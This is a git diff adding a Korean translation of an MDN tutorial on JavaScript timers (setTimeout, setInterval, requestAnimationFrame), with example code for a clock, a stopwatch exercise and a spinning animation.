+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html
new file mode 100644
index 0000000000..1f3d4f2a6a
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html
@@ -0,0 +1,598 @@
+---
+title: 'Cooperative asynchronous JavaScript: Timeouts and intervals'
+slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals
+translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary">이 장에서는 자바스크립트가 설정된 시간이 경과하거나 혹은 정해진 시간 간격(예 : 초당 설정된 횟수)으로 비동기 코드를 작동하는 전형적인 방법을 살펴본다. 그리고 이 방법들이 어떤 것에 유용한지 얘기해 보고, 그 본질적인 문제에 대해 살펴본다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Basic computer literacy, a reasonable understanding of JavaScript fundamentals.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To understand asynchronous loops and intervals and what they are useful for.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p>오랜 시간 동안 웹플랫폼은 자바스크립트 프로그래머가 일정한 시간이 흐른 뒤에 비동기적 코드를 실행할 수 있게하는 다양한 함수들을 제공해 왔다. 그리고 프로그래머가 중지시킬 때까지 코드 블록을 반복적으로 실행하기 위한 다음과 같은 함수들이 있다.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code></dt>
+ <dd>특정 시간이 경과한 뒤에 특정 코드블록을 한번 실행한다.</dd>
+ <dt></dt>
+ <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code></dt>
+ <dd>각각의 호출 간에 일정한 시간 간격으로 특정 코드블록을 반복적으로 실행한다.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code></dt>
+ <dd>setInterval()의 최신 버전; 그 코드가 실행되는 환경에 관계없이 적절한 프레임 속도로 애니메이션을 실행시키면서, 브라우저가 다음 화면을 보여주기 전에 특정 코드블록을 실행한다.</dd>
+</dl>
+
+<p>이 함수들에 의해 설정된 비동기 코드는 메인 스레드에서 작동한다. 그러나 프로세서가 이러한 작업을 얼마나 많이 수행하는지에 따라, 코드가 반복되는 중간에 다른 코드를 어느 정도 효율적으로 실행할 수 있다. 어쨌든 이러한 함수들은 웹사이트나 응용 프로그램에서 일정한 애니메이션 및 기타 배경 처리를 실행하는 데 사용된다. 다음 섹션에서는 그것들을 어떻게 사용할 수 있는지 보여줄 것이다.</p>
+
+<h2 id="setTimeout">setTimeout()</h2>
+
+<p>앞에서 언급했듯이 setTimeout ()은 지정된 시간이 경과 한 후 특정 코드 블록을 한 번 실행한다. 그리고 다음과 같은 파라미터가 필요하다.:</p>
+
+<ul>
+ <li>실행할 함수 또는 다른 곳에 정의 된 함수 참조.</li>
+ <li>코드를 실행하기 전에 대기 할 밀리세컨드 단위의 시간 간격 (1000밀리세컨드는 1 초)을 나타내는 숫자. 값을 0으로 지정하면(혹은 이 값을 모두 생략하면) 함수가 즉시 실행된다. 왜 이 파라미터를 수행해야 하는지도 좀 더살펴 볼 것이다. </li>
+ <li>함수가 실행될 때 함수에 전달해야할 파라미터를 나타내는 0이상의 값.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 타임아웃 콜백은 단독으로 실행되지 않기 때문에 지정된 시간이 지난 그 시점에 정확히  콜백 될 것이라는 보장은 없다. 그보다는 최소한 그 정도의 시간이 지난 후에 호출된다. 메인 스레드가 실행해야 할 핸들러를 찾기 위해 이런 핸들러들을 살펴보는 시점에 도달할 때까지 타임아웃 핸들러를 실행할 수 없다.</p>
+</div>
+
+<p>아래 예제에서 브라우저는 2분이 지나면 익명의 함수를 실행하고 경보 메시지를 띄울 것이다. (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see it running live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see the source code</a>):</p>
+
+<pre class="brush: js">let myGreeting = setTimeout(function() {
+  alert('Hello, Mr. Universe!');
+}, 2000)</pre>
+
+<p>지정한 함수가 꼭 익명일 필요는 없다. 함수에 이름을 부여 할 수 있고, 다른 곳에서 함수를 정의하고 setTimeout ()에 참조(reference)를 전달할 수도 있다. 아래 코드는 위의 코드와 같은 실행 결과를 얻을 수 있다. </p>
+
+<pre class="brush: js">// With a named function
+let myGreeting = setTimeout(function sayHi() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+
+// With a function defined separately
+function sayHi() {
+  alert('Hello Mr. Universe!');
+}
+
+let myGreeting = setTimeout(sayHi, 2000);</pre>
+
+<p>예를 들자면 timeout 함수와 이벤트에 의해 중복 호출되는 함수를 사용하려면 이 방법이 유용할 수 있다. 이 방법은 코드라인을 깔끔하게  정리하는 데 도움을 준다. 특히 timeout 콜백의 코드라인이 여러 줄이라면 더욱 그렇다.  </p>
+
+<p>setTimeout ()은 나중에 타임아웃을 할 경우에 타임아웃을 참조하는데 사용하는 식별자 값을 리턴한다.  그 방법을 알아 보려면 아래{{anch("Clearing timeouts")}}을 참조하세요.</p>
+
+<h3 id="setTimeout_함수에_매개변수parameter_전달">setTimeout () 함수에 매개변수(parameter) 전달</h3>
+
+<p>setTimeout () 내에서 실행되는 함수에 전달하려는 모든 매개변수는 setTimeout () 매개변수 목록 끝에 추가하여 전달해야 한다. 아래 예제처럼, 이전 함수를 리팩터링하여 전달된 매개변수의 사람 이름이 추가된 문장을 표시할 수 있다.</p>
+
+<pre class="brush: js">function sayHi(who) {
+  alert('Hello ' + who + '!');
+}</pre>
+
+<p>Say hello의 대상이 되는 사람이름은 <code>setTimeout()의 세번째 매개변수로 함수에 전달된다.</code></p>
+
+<pre class="brush: js">let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');</pre>
+
+<h3 id="timeout_취소">timeout 취소</h3>
+
+<p>마지막으로 타임아웃이 생성되면(setTimeout()이 실행되면) 특정시간이 경과하기 전에 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout">clearTimeout()</a></code>을 호출하여 타임아웃을 취소할 수 있다.  <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout">clearTimeout()</a></code>은  <code>setTimeout()</code>콜의 식별자를 매개변수로  <code>setTimeout()</code>에 전달한다. 위 예제의 타임아웃을 취소하려면 아래와 같이 하면 된다.</p>
+
+<pre class="brush: js">clearTimeout(myGreeting);</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 인사를 할 사람의 이름을 설정하고 별도의 버튼을 사용하여 인사말을 취소 할 수있는 약간 더 복잡한 폼양식 예제인  <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/greeter-app.html">greeter-app.html</a> 을 참조하세요.</p>
+</div>
+
+<h2 id="setInterval">setInterval()</h2>
+
+<p>setTimeout ()은 일정 시간이 지난 후 코드를 한 번 실행해야 할 때 완벽하게 작동합니다. 그러나 애니메이션의 경우와 같이 코드를 반복해서 실행해야 할 경우 어떨까요?</p>
+
+<p>이럴 경우에 setInterval ()이 필요합니다. setInterval ()은 setTimeout ()과 매우 유사한 방식으로 작동합니다. 다만 setTimeout ()처럼 첫 번째 매개 변수(함수)가 타임아웃 후에 한번 실행되는게 아니라 두 번째 매개 변수에 주어진 시간까지 반복적으로 실행되는 것이 차이점입니다.  setInterval() 호출의 후속 파라미터로 실행 중인 함수에 필요한 파라미터를 전달할 수도 있다.</p>
+
+<p>예를 들어 봅시다. 다음 함수는 새 Date() 객체를 생성한 후에 ToLocaleTimeString()을 사용하여 시간데이터를 문자열로 추출한 다음 UI에 표시합니다. 그리고 setInterval()을 사용하여 초당 한 번 함수(displayTime)를 실행하면 초당 한 번 업데이트되는 디지털 시계와 같은 효과를 만들어냅니다.(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see this live</a>, and also <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see the source</a>): </p>
+
+<pre class="brush: js">function displayTime() {
+   let date = new Date();
+   let time = date.toLocaleTimeString();
+   document.getElementById('demo').textContent = time;
+}
+
+const createClock = setInterval(displayTime, 1000);</pre>
+
+<p>setTimeout()과 같이 setInterval()도 식별자 값을 리턴하여 나중에 interval을 취소해야 할 때 사용한다.</p>
+
+<h3 id="interval_취소">interval 취소</h3>
+
+<p>setInterval ()은 아무 조치를 취하지 않으면 끊임없이 계속 실행됩니다. 이 상태를 중지하는 방법이 필요합니다. 그렇지 않으면 브라우저가 추가 작업을 완료 할 수 없거나, 현재 처리 중인 애니메이션이 완료되었을 때 오류가 발생할 수 있습니다. setTimeout()과 같은 방식으로 setInterval () 호출에 의해 반환 된 식별자를 clearInterval () 함수에 전달하여 이 작업을 취소할수 있습니다.</p>
+
+<pre class="brush: js">const myInterval = setInterval(myFunction, 2000);
+
+clearInterval(myInterval);</pre>
+
+<h4 id="능동학습_자신만의_스톱워치를_만들기.">능동학습 : 자신만의 스톱워치를 만들기.</h4>
+
+<p>위에서 모두 설명해 드렸으니, 과제를 드리겠습니다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a> 예제를 수정하여 자신만의 간단한 스톱워치를 만들어 보세요.</p>
+
+<p>위에서 설명(디지털 시계)한 것처럼 시간을 표시해야 하고, 이 예제에서는 아래 기능을 추가하세요.</p>
+
+<ul>
+ <li>스톱워치를 실행시키는 "Start" 버튼. </li>
+ <li>일시정지나 종료시키는 "Stop" 버튼.</li>
+ <li>시간을 0으로 설정하는 "Reset" 버튼.</li>
+ <li>실제 시간을 표시하지 말고 경과된 시간을 초단위로 표시..</li>
+</ul>
+
+<p>몇가지 힌트를 드립니다.</p>
+
+<ul>
+ <li>버튼 마크업은 여러분이 원하는 대로 구성하고 스타일링 하세요. 자바스크립트 버튼 레퍼런스를 가져올 수 있는 후크를 포함한 semantic HTML을 사용하세요.</li>
+ <li> 0에서 시작하여 상수 루프를 이용하여 1 초 단위로 증가하는 변수를 작성해 보세요.</li>
+ <li>앞서 설명한 Date () 객체를 사용하지 않고 이 예제를 작성하는 것이 더 쉽지만 정확도는 떨어집니다. 정확히 1000ms 후에 콜백이 시작된다고 보장 할 수는 없기 때문입니다. 보다 정확한 방법은 startTime = Date.now ()를 실행하여 사용자가 시작 버튼을 클릭했을 때 정확한 timestamp을 얻은 다음 Date.now ()-startTime을 실행하여 시간(milliseconds)을 얻어 냅니다.</li>
+ <li>시, 분, 초 단위의 시간을 별도의 변수를 통해 계산한 다음 각 루프 반복 후에 문자열로 함께 표시해 보세요. 두 번째 카운터에서 하나씩 해결할 수 있습니다.</li>
+ <li>어떻게 계산할 것인지 생각해 봅시다.
+  <ul>
+   <li>1시간은 3600초 입니다.</li>
+   <li>분단위 시간은 시간을 60으로 나눈 값에서 시간단위를 제거한 값입니다. 그리고 초단위 시간은 그 값에서 분단위 시간을 제거한 값입니다(예 :3700초를 60초로 나누면 3600초(시단위) + 100초(분단위), 분단위를 다시 60으로 나누면 60초(분단위) + 40초(초단위))</li>
+  </ul>
+ </li>
+ <li>시간값이 10밀리세컨드이하면 화면의 시간을 0으로 표시하세요. 더 일반적인 시계처럼 보일 겁니다.</li>
+ <li>스톱워치를 정지시키기 위해 interval을 취소해 보세요. 스톱워치를 리셋하기 위해 시간 카운터를 0으로 설정하고, interval을 취소한 후에 화면을 즉시 업데이트 하세요.</li>
+ <li>스타트 버튼이 클릭되면 버튼을 즉시 비활성화 시키고 스톱/리셋버튼이 클릭되면 다시 활성화해 보세요. 그렇지 않고 스타트 버튼이 여러번 클릭되면 setInterval()이 중복 실행되어서 실행 오류가 발생할 수 있습니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you get stuck, you can <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">find our version here</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">source code</a> also).</p>
+</div>
+
+<h2 id="setTimeout과_setInterval에서_주의해야할_것_들">setTimeout()과 setInterval()에서 주의해야할 것 들</h2>
+
+<p>setTimeout()과 setInterval()에는 몇가지 주의해야 할 것들이 있습니다. 어떤 것인지 한번 살펴보겠습니다.</p>
+
+<h3 id="순환_timeouts">순환 timeouts</h3>
+
+<p>setTimeout()을 사용하는 또 다른 방법입니다. 바로 setInterval()을 사용하는 대신 setTimeout()을 이용해 같은코드를 반복적으로 실행시키는 방법입니다.</p>
+
+<p>The below example uses a recursive <code>setTimeout()</code> to run the passed function every 100 milliseconds: 아래 예제에서는 setTimeout()이 주어진 함수를 100밀리세컨드마다 실행합니다.</p>
+
+<pre class="brush: js">let i = 1;
+
+setTimeout(function run() {
+  console.log(i);
+  i++;
+  setTimeout(run, 100);
+}, 100);</pre>
+
+<p>위 예제를 아래 예제와 비교해 보세요. 아래 예제는 setInterval()을 사용하여 같은 결과를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">let i = 1;
+
+setInterval(function run() {
+  console.log(i);
+  i++
+}, 100);</pre>
+
+<h4 id="그렇다면_순환_setTimeout과_setInterval은_어떻게_다를까요">그렇다면 순환 setTimeout()과 setInterval()은 어떻게 다를까요?</h4>
+
+<p>두 방법의 차이는 미묘합니다.</p>
+
+<ul>
+ <li>순환 setTimeout ()은 실행과 실행 사이에 동일한 지연을 보장합니다.  위의 경우 100ms입니다. 코드가 실행 된 후 다시 실행되기 전에 100 ms 동안 대기하므로 간격은 코드 실행 시간에 관계없이 동일합니다.</li>
+ <li>setInterval ()을 사용하는 예제는 약간 다르게 작동합니다. 설정된 간격에는 실행하려는 코드를 실행하는 데 걸리는 시간이 포함됩니다. 코드를 실행하는 데 40ms가 걸리다면 간격이 60ms에 불과합니다.</li>
+ <li>setTimeout ()을 재귀적으로 사용할 때 각 반복은 다음 반복을 실행하기 전에 또 하나의 대기시간을 설정합니다. 즉, setTimeout ()의 두 번째 매개 변수의 값은 코드를 다시 실행하기 전에 대기 할 또 하나의 시간을 지정합니다.</li>
+</ul>
+
+<p>코드가 지정한 시간 간격보다 실행 시간이 오래 걸리면 순환 setTimeout ()을 사용하는 것이 좋습니다. 이렇게하면 코드 실행 시간에 관계없이 실행 간격이 일정하게 유지되어 오류가 발생하지 않습니다.</p>
+
+<h3 id="즉시_timeouts">즉시 timeouts</h3>
+
+<p>setTimeout()의 값으로 0을 사용하면 메인 코드 스레드가 실행된 후에 가능한 한 빨리 지정된 콜백 함수의 실행을 예약할 수 있다.</p>
+
+<p>예를 들어 아래 코드 (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">see it live</a>) 는 "Hello"가 포함된 alert를 출력 한 다음 첫 번째 경고에서 OK를 클릭하자마자 "World"가 포함된 alert를 출력합니다.</p>
+
+<pre class="brush: js">setTimeout(function() {
+  alert('World');
+}, 0);
+
+alert('Hello');</pre>
+
+<p>이것은 모든 메인 스레드의 실행이 완료되자마자 실행되도록 코드 블록을 설정하려는 경우 유용할 할 수 있습니다. 비동기 이벤트 루프에 배치하면 곧바로 실행될 겁니다.</p>
+
+<h3 id="clearTimeout_와_clearInterval의_취소기능">clearTimeout() 와 clearInterval()의 취소기능</h3>
+
+<p>clearTimeout ()과 clearInterval ()은 모두 동일한 entry를 사용하여 대상 메소드(setTimeout () 또는 setInterval ())을 취소합니다. 흥미롭게도 이는 setTimeout () 또는 setInterval ()을 지우는 데 clearTimeout ()과 clearInterval ()메소드 어느 것을 사용해도 무방합니다.</p>
+
+<p>그러나 일관성을 유지하려면 clearTimeout ()을 사용하여 setTimeout () 항목을 지우고 clearInterval ()을 사용하여 setInterval () 항목을 지우십시오. 혼란을 피하는 데 도움이됩니다.</p>
+
+<h2 id="requestAnimationFrame">requestAnimationFrame()</h2>
+
+<p>requestAnimationFrame ()은 브라우저에서 애니메이션을 효율적으로 실행하기 위해 만들어진 특수한 반복 함수입니다. 근본적으로 setInterval ()의 최신 버전입니다. 브라우저가 다음에 디스플레이를 다시 표시하기 전에 지정된 코드 블록을 실행하여 애니메이션이 실행되는 환경에 관계없이 적절한 프레임 속도로 실행될 수 있도록합니다.</p>
+
+<p>setInterval ()을 사용함에 있어 알려진 문제점을 개선하기위해 만들어졌습니다. 예를 들어 장치에 최적화 된 프레임 속도로 실행되지 않는 문제,  때로는 프레임을 빠뜨리는 문제,  탭이 활성 탭이 아니거나 애니메이션이 페이지를 벗어난 경우에도 계속 실행되는 문제 등등이다 . <a href="http://creativejs.com/resources/requestanimationframe/index.html">CreativeJS에서 이에 대해 자세히 알아보십시오.</a></p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: requestAnimationFrame() 사용에 관한 예제들은 이 코스의 여러곳에서 찾아볼 수 있습니다. <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a> 와 <a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a> 의 예제를 찾아 보세요.</p>
+</div>
+
+<p>이 메소드는 화면을 다시 표시하기 전에 호출 할 콜백을 인수로 사용합니다. 이것이 일반적인 패턴입니다. 아래는 사용예를 보여줍니다.</p>
+
+<pre class="brush: js">function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>그 발상은 애니메이션을 업데이트하는 함수 (예 : 스프라이트 이동, 스코어 업데이트, 데이터 새로 고침 등)를 정의한 후 그것을 호출하여 프로세스를 시작하는 것입니다. 함수 블록의 끝에서 매개 변수로 전달 된 함수 참조를 사용하여 requestAnimationFrame ()을 호출하면 브라우저가 다음 화면을 재표시할 때 함수를 다시 호출하도록 지시합니다. 그런 다음 requestAnimationFrame ()을 반복적으로 호출하므로 계속 실행되는 것입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 어떤 간단한  DOM 애니메이션을 수행하려는 경우,   <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> 은 JavaScript가 아닌 브라우저의 내부 코드로 직접 계산되므로 속도가 더 빠릅니다. 그러나 더 복잡한 작업을 수행하고 DOM 내에서 직접 액세스 할 수 없는 객체(예 :<a href="/en-US/docs/Web/API/Canvas_API">2D Canvas API</a> or <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> objects)를 포함하는 경우 대부분의 경우 requestAnimationFrame ()이 더 나은 옵션입니다. </p>
+</div>
+
+<h3 id="여러분의_애니메이션의_작동속도는_얼마나_빠른가요">여러분의 애니메이션의 작동속도는 얼마나 빠른가요?</h3>
+
+<p>부드러운 애니메이션을 구현은 직접적으로 프레임 속도에 달려 있으며, 프레임속도는 초당 프레임 (fps)으로 측정됩니다. 이 숫자가 높을수록 애니메이션이 더 매끄럽게 보입니다.</p>
+
+<p>일반적으로 화면 재생률는 60Hz이므로 웹 브라우저를 사용할 때 여러분이 설정할 수 있는 가장 빠른 프레임 속도는 초당 60 프레임 (FPS)입니다. 이 속도보다 빠르게 설정하면 과도한 연산이 실행되어 화면이 더듬거리고 띄엄띄엄 표시될 수 있다. 이런 현상을 프레임 손실 또는 쟁크라고 한다. </p>
+
+<p>재생률 60Hz의 모니터에 60FPS를 달성하려는 경우 각 프레임을 렌더링하기 위해 애니메이션 코드를 실행하려면 약 16.7ms(1000/60)가 필요합니다. 그러므로 각 애니메이션 루프를 통과 할 때마다 실행하려고 하는 코드의 양을 염두에 두어야합니다.</p>
+
+<p>requestAnimationFrame()은 불가능한 경우에도 가능한한 60FPS 값에 가까워 지려고 노력합니다. 실제로 복잡한 애니메이션을 느린 컴퓨터에서 실행하는 경우 프레임 속도가 떨어집니다. requestAnimationFrame ()은 항상 사용 가능한 것을 최대한 활용합니다.</p>
+
+<h3 id="requestAnimationFrame이_setInterval_setTimeout과_다른점은">requestAnimationFrame()이 setInterval(), setTimeout()과 다른점은?</h3>
+
+<p>requestAnimationFrame () 메소드가 이전에 살펴본 다른 메소드와 어떻게 다른지에 대해 조금 더 이야기하겠습니다. 위의 코드를 다시 살펴보면;</p>
+
+<pre class="brush: js">function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>setInterval()을 사용하여 위와 같은 작업을 하는 방법을 살펴봅시다.</p>
+
+<pre class="brush: js">function draw() {
+   // Drawing code goes here
+}
+
+setInterval(draw, 17);</pre>
+
+<p>앞에서언급했듯이 requestAnimationFrame ()은 시간 간격을 지정하지 않습니다. requestAnimationFrame ()은 현재 상황에서 최대한 빠르고 원활하게 실행됩니다. 어떤 이유로 애니메이션이 화면에 표시되지 않으면 브라우저는 그 애니메이션을 실행하는 데 시간을 낭비하지 않습니다.</p>
+
+<p>반면에 setInterval ()은 특정 시간간격을 필요로 합니다. 1000 ms/60Hz 계산을 통해 최종값 16.6에 도달 한 후 반올림(17)했습니다. 이때 반올림하는 것이 좋습니다. 그 이유는 반내림(16)을하면 60fps보다 빠르게 애니메이션을 실행하려고 하게 되지만 애니메이션의 부드러움에 아무런 영향을 미치지 않기 때문입니다. 앞에서 언급했듯이 60Hz가 표준 재생률입니다.</p>
+
+<h3 id="timestamp를_포함하기">timestamp를 포함하기</h3>
+
+<p>requestAnimationFrame() 함수에 전달 된 실제 콜백에는 requestAnimationFrame()이 실행되기 시작한 이후의 시간을 나타내는 timestamp를  매개변수로 제공할 수 있습니다. 장치 속도에 관계없이 특정 시간과 일정한 속도로 작업을 수행할 수 있으므로 유용합니다. 사용하는 일반적인 패턴은 다음과 같습니다.</p>
+
+<pre class="brush: js">let startTime = null;
+
+function draw(timestamp) {
+    if(!startTime) {
+      startTime = timestamp;
+    }
+
+   currentTime = timestamp - startTime;
+
+   // Do something based on current time
+
+   requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<h3 id="브라우저_지원">브라우저 지원</h3>
+
+<p>requestAnimationFrame()은 setInterval() / setTimeout()보다 좀 더 최신 브라우저에서 지원됩니다. 가장 흥미롭게도 Internet Explorer 10 이상에서 사용할 수 있습니다. 따라서 별도의 코드로 이전 버전의 IE를 지원해야할 필요가 없다면, requestAnimationFrame()을 사용하지 않을 이유가 없습니다.</p>
+
+<h3 id="간단한_예">간단한 예</h3>
+
+<p>지금까지 이론적으로는 충분히 살펴보았습니다. 그러면 직접 requestAnimationFrame() 예제를 작성해 봅시다. 우리는 간단한 "스피너 애니메이션"을 만들 것입니다. 여러분들이 앱 사용중 서버 과부하일 때 이것을 자주 보았을 겁니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 실제로는 CSS 애니메이션을 사용하여 이러한 종류의 간단한 애니메이션을 실행해야 합니다. 그러나 이러한 종류의 예제는 requestAnimationFrame() 사용법을 보여주는 데 매우 유용하며, 각 프레임에서 게임의 디스플레이를 업데이트하는 것과 같이 좀 더 복잡한 작업을 수행 할 때 이러한 종류의 기술을 사용하는 것이 좋습니다.</p>
+</div>
+
+<ol>
+ <li>
+  <p>먼저 HTML 템플릿을 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">여기</a>에서.가져옵니다.</p>
+ </li>
+ <li>
+  <p>&lt;body&gt;안에 빈 &lt;div&gt; 요소를 삽입합니다. 그리고  ↻캐릭터를 그 안에 추가합니다. 이 예제에서 이 원형 화살표가 회전하게됩니다.</p>
+ </li>
+ <li>
+  <p>아래 CSS를 HTML 템플릿에 여러분이 원하는 방식으로 적용하세요. 이 CSS는 페이지 배경을 빨간색으로, &lt;body&gt;의 height를 html height의 100%로 설정합니다. 그리고 &lt;div&gt;를 수직, 수평으로 &lt;body&gt; 중앙에 위치 시킵니다.</p>
+
+  <pre class="brush: css">html {
+  background-color: white;
+  height: 100%;
+}
+
+body {
+  height: inherit;
+  background-color: red;
+  margin: 0;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}
+
+div {
+  display: inline-block;
+  font-size: 10rem;
+}</pre>
+ </li>
+ <li>
+  <p>&lt;/body&gt; 태크 위에 &lt;script&gt;를 추가하세요.</p>
+ </li>
+ <li>
+  <p>&lt;script&gt; 안에 아래 자바스크립트 코드를 추가하세요. 여기에서 &lt;div&gt;의 참조를 상수로 저장하고, rotateCount 변수를 0으로 설정하고, 나중에 requestAnimationFrame()의 시작 시간을 저장할 startTime 변수를 null로 설정하고, 그리고 requestAnimationFrame() 콜의 참조를 저장할 초기화하지 않은 rAF 변수를 선언합니다.</p>
+
+  <pre class="brush: js">const spinner = document.querySelector('div');
+let rotateCount = 0;
+let startTime = null;
+let rAF;
+</pre>
+ </li>
+ <li>
+  <p>그 아래에 draw() 함수를 추가합니다. 이 함수는 timestamp 매개변수를 포함하는 애니메이션 코드 작성에 사용됩니다.</p>
+
+  <pre class="brush: js">function draw(timestamp) {
+
+}</pre>
+ </li>
+ <li>
+  <p>draw() 함수안데 다음 코드를 추가합니다. if 조건문으로 startTime이 정의되지 않았다면 startTime을 정의합니다 (루프 반복의 첫번째에만 작동합니다).  그리고 스피너를 회전시키는 rotateCount 변수값을 설정합니다(현재 timestamp는 시작 timestamp를 3으로 나눈 것이라서 그리 빠르지 않습니다).</p>
+
+  <pre class="brush: js">  if (!startTime) {
+   startTime = timestamp;
+  }
+
+  rotateCount = (timestamp - startTime) / 3;
+</pre>
+ </li>
+ <li>
+  <p>draw() 함수 안의 이전 코드 아래에 다음 블록을 추가합니다. 이렇게하면 rotateCount 값이 359보다 큰지 확인합니다 (예 : 360, 완전한 원). 그렇다면 값을 모듈러 360 (즉, 값을 360으로 나눌 때 남은 나머지)으로 설정하여 원 애니메이션이 합리적인 낮은 값으로 중단없이 계속 될 수 있습니다. 꼭 이렇게 해야되는 것은 아니지만 "128000도" 같은 값보다는 0~359 도의 값으로 작업하는 것이 더 쉽습니다.</p>
+
+  <pre class="brush: js">if (rotateCount &gt; 359) {
+  rotateCount %= 360;
+}</pre>
+ </li>
+ <li>다음으로 아래 코드를 추가하세요. 실제 스피너를 회전시키는 코드입니다.
+  <pre class="brush: js">spinner.style.transform = 'rotate(' + rotateCount + 'deg)';</pre>
+ </li>
+ <li>
+  <p> draw() 함수 제일 아래에 다음 코드를 추가합니다. 이 코드는 모든 작업의 키 포인트입니다. draw() 함수를 매개변수로 가져오는 requestAnimationFrame() 콜을 저장하기 위해 앞에서 정의한  rAF 변수를 설정합니다. 이 코드는 애니메이션을 실행시키고, 가능한한 60fps에 근사하게 draw() 함수를 계속 실행합니다.</p>
+
+  <pre class="brush: js">rAF = requestAnimationFrame(draw);</pre>
+ </li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You can find this <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">example live on GitHub</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">source code</a> also).</p>
+</div>
+
+<h3 id="requestAnimationFrame_call의_취소">requestAnimationFrame() call의 취소</h3>
+
+<p>cancelAnimationFrame() 메소드를 호출하여 requestAnimationFrame()을 취소할 수 있다. (접두어가 "clear"가 아니고 "cancel"임에 유의) requestAnimationFrame()에 의해서 리턴된 rAF 변수값을 전달받아 취소한다. </p>
+
+<pre class="brush: js">cancelAnimationFrame(rAF);</pre>
+
+<h3 id="Active_learning_Starting_and_stopping_our_spinner">Active learning: Starting and stopping our spinner</h3>
+
+<p>In this exercise, we'd like you to test out the <code>cancelAnimationFrame()</code> method by taking our previous example and updating it, adding an event listener to start and stop the spinner when the mouse is clicked anywhere on the page.</p>
+
+<p>Some hints:</p>
+
+<ul>
+ <li>A <code>click</code> event handler can be added to most elements, including the document <code>&lt;body&gt;</code>. It makes more sense to put it on the <code>&lt;body&gt;</code> element if you want to maximize the clickable area — the event bubbles up to its child elements.</li>
+ <li>You'll want to add a tracking variable to check whether the spinner is spinning or not, clearing the animation frame if it is, and calling it again if it isn't.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Try this yourself first; if you get really stuck, check out of our <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">live example</a> and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">source code</a>.</p>
+</div>
+
+<h3 id="Throttling_a_requestAnimationFrame_animation">Throttling a requestAnimationFrame() animation</h3>
+
